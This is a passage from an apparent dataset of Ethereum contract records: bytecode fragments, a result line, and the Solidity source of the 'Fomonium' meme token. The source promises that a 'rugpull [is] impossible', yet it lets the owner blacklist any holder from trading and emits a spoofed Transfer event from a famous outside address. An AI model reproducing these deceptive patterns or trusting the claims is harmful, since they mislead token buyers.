ffffffffff811115610b4a57610b49611341565b5b604051908082528060200260200182016040528015610b785781602001602082028036833780820191505090505b5090506000805b600780549050811015610c35578473ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c225780838381518110610c0757610c066111fa565b5b6020026020010181815250508180610c1e906112f8565b9250505b8080610c2d906112f8565b915050610b7f565b508192505050919050565b610c48610d38565b73ffffffffffffffffffffffffffffffffffffffff16610c666106a1565b73ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb3906111da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d23906113e2565b60405180910390fd5b610d3581610d40565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b6000819050919050565b610e1c81610e09565b8114610e2757600080fd5b50565b600081359050610e3981610e13565b92915050565b600060208284031215610e5557610e54610e04565b5b6000610e6384828501610e2a565b91505092915050565b610e7581610e09565b82525050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610ea682610e7b565b9050919050565b610eb681610e9b565b82525050565b600061014082019050610ed2600083018d610e6c565b610edf602083018c610e6c565b610eec604083018b610e6c565b610ef9606083018a610e6c565b610f066080830189610e6c565b610f1360a0830188610e6c565b610f2060c0830187610e6c565b610f2d60e0830186610e6c565b610f3b610100830185610ead565b610f49610120830184610e6c565b9b9a5050505050505050505050565b600080600080600080600080610100898b031215610f7957610f78610e04565b5b6000610f878b828c01610e2a565b9850506020610f988b828c01610e2a565b9750506040610fa98b828c01610e2a565b9650506060610fba8b828c01610e2a565b9550506080610fcb8b828c01610e2a565b94505060a0610fdc8b828c01610e2a565b93505060c0610fed8b828c01610e2a565b92505060e0610ffe8b828c01610e2a565b9150509295985092959890939650565b60006020820190506110236000830184610e6c565b92915050565b600060208201905061103e6000830184610ead565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61107981610e09565b82525050565b600061108b8383611070565b60208301905092915050565b6000602082019050919050565b60006110af82611044565b6110b9818561104f565b93506110c483611060565b8060005b838110156110f55781516110dc888261107f565b97506110e783611097565b9250506001810190506110c8565b5085935050505092915050565b6000602082019050818103600083015261111c81846110a4565b905092915050565b61112d81610e9b565b811461113857600080fd5b50565b60008135905061114a81611124565b92915050565b60006020828403121561116657611165610e04565b5b60006111748482850161113b565b91505092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006111c460208361117d565b91506111cf8261118e565b602082019050919050565b600060208201905081810360008301526111f3816111b7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b600061125f601f8361117d565b915061126a82611229565b602082019050919050565b6000602082019050818103600083015261128e81611252565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006112cf82610e09565b91506112da83610e09565b9250828210156112ed576112ec611295565b5b828203905092915050565b600061130382610e09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561133657611335611295565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006113cc60268361117d565b91506113d782611370565b604082019050919050565b600060208201905081810360008301526113fb816113bf565b905091905056fea2646970667358221220391d43121dcdcf414160bac895d4202a48e8d582a3cf8abaccde5042912e4ad964736f6c63430008090033
{"success": true, "error": null, "results": {}}
5,621
0xe542d1c5509569d446e82c88448779d86761b42e
/** *Submitted for verification at Etherscan.io on 2021-06-1 */ /* Telegram: https://t.me/FomoInu Website: fomoinu.com Fair launch at TG 200 members, invite your fellow degens. No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Trading will be enabled AFTER liquidity lock, rugpull impossible. Total supply = liquidity = 1,000,000,000,000, initial buy limit = 2,000,000,000, permanent sell limit: 4,000,000,000 . 3% redistribution on every sell 30 seconds cooldown on each buy, 2 minutes cooldown on each sell. */ //SPDX-License-Identifier: Mines™®© pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Fomonium is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Fomonium'; string private constant _symbol = 'FMIM'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 0; _teamFee = 10; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp, "Cooldown"); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 3; _teamFee = 9; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= 4e9 * 10**9); require(cooldown[from] < block.timestamp, "Cooldown"); cooldown[from] = block.timestamp + (2 minutes); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e9 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610398578063c9567bf9146103af578063d543dbeb146103c6578063dd62ed3e146103ef578063e8078d941461042c5761011f565b8063715018a6146102c55780638da5cb5b146102dc57806395d89b4114610307578063a9059cbb14610332578063b515566a1461036f5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190612fd6565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b1c565b610480565b6040516101839190612fbb565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae9190613158565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612acd565b6104af565b6040516101eb9190612fbb565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612a3f565b610588565b005b34801561022957600080fd5b50610232610678565b60405161023f91906131cd565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b99565b610681565b005b34801561027d57600080fd5b50610286610733565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612a3f565b6107a5565b6040516102bc9190613158565b60405180910390f35b3480156102d157600080fd5b506102da6107f6565b005b3480156102e857600080fd5b506102f1610949565b6040516102fe9190612eed565b60405180910390f35b34801561031357600080fd5b5061031c610972565b6040516103299190612fd6565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b1c565b6109af565b6040516103669190612fbb565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612b58565b6109cd565b005b3480156103a457600080fd5b506103ad610b1d565b005b3480156103bb57600080fd5b506103c4610b97565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612beb565b610c49565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a91565b610d92565b6040516104239190613158565b60405180910390f35b34801561043857600080fd5b50610441610e19565b005b60606040518060400160405280600881526020017f466f6d6f6e69756d000000000000000000000000000000000000000000000000815250905090565b600061049461048d61130a565b8484611312565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104bc8484846114dd565b61057d846104c861130a565b6105788560405180606001604052806028815260200161386860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052e61130a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3a9092919063ffffffff16565b611312565b600190509392505050565b61059061130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610614906130d8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61068961130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070d906130d8565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077461130a565b73ffffffffffffffffffffffffffffffffffffffff161461079457600080fd5b60004790506107a281611d9e565b50565b60006107ef600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e99565b9050919050565b6107fe61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610882906130d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f464d494d00000000000000000000000000000000000000000000000000000000815250905090565b60006109c36109bc61130a565b84846114dd565b6001905092915050565b6109d561130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a59906130d8565b60405180910390fd5b60005b8151811015610b1957600160066000848481518110610aad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b119061346e565b915050610a65565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b5e61130a565b73ffffffffffffffffffffffffffffffffffffffff1614610b7e57600080fd5b6000610b89306107a5565b9050610b9481611f07565b50565b610b9f61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906130d8565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b610c5161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd5906130d8565b60405180910390fd5b60008111610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613078565b60405180910390fd5b610d506064610d4283683635c9adc5dea0000061220190919063ffffffff16565b61227c90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610d879190613158565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea5906130d8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611312565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8457600080fd5b505afa158015610f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbc9190612a68565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561101e57600080fd5b505afa158015611032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110569190612a68565b6040518363ffffffff1660e01b8152600401611073929190612f08565b602060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c59190612a68565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061114e306107a5565b600080611159610949565b426040518863ffffffff1660e01b815260040161117b96959493929190612f5a565b6060604051808303818588803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111cd9190612c14565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671bc16d674ec80000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b4929190612f31565b602060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113069190612bc2565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613138565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990613038565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d09190613158565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490613118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490612ff8565b60405180910390fd5b60008111611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f7906130f8565b60405180910390fd5b6000600a81905550600a600b81905550611618610949565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116865750611656610949565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116be57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116f657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561179f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117a857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118c15750601160179054906101000a900460ff165b156119c057601160149054906101000a900460ff166118df57600080fd5b6012548111156118ee57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061196f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196690613098565b60405180910390fd5b601e4261197c919061328e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119cb306107a5565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a785750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae4576003600a819055506009600b819055505b601160159054906101000a900460ff16158015611b4f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b675750601160169054906101000a900460ff165b15611c7557673782dace9d900000821115611b8157600080fd5b42600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990613098565b60405180910390fd5b607842611c0f919061328e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5b81611f07565b60004790506000811115611c7357611c7247611d9e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d1e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d2857600090505b611d34848484846122c6565b50505050565b6000838311158290611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d799190612fd6565b60405180910390fd5b5060008385611d91919061336f565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dee60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e19573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e6a60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e95573d6000803e3d6000fd5b5050565b6000600854821115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613018565b60405180910390fd5b6000611eea6122f3565b9050611eff818461227c90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f935781602001602082028036833780820191505090505b5090503081600081518110611fd1577f4e487b71000000000000000000000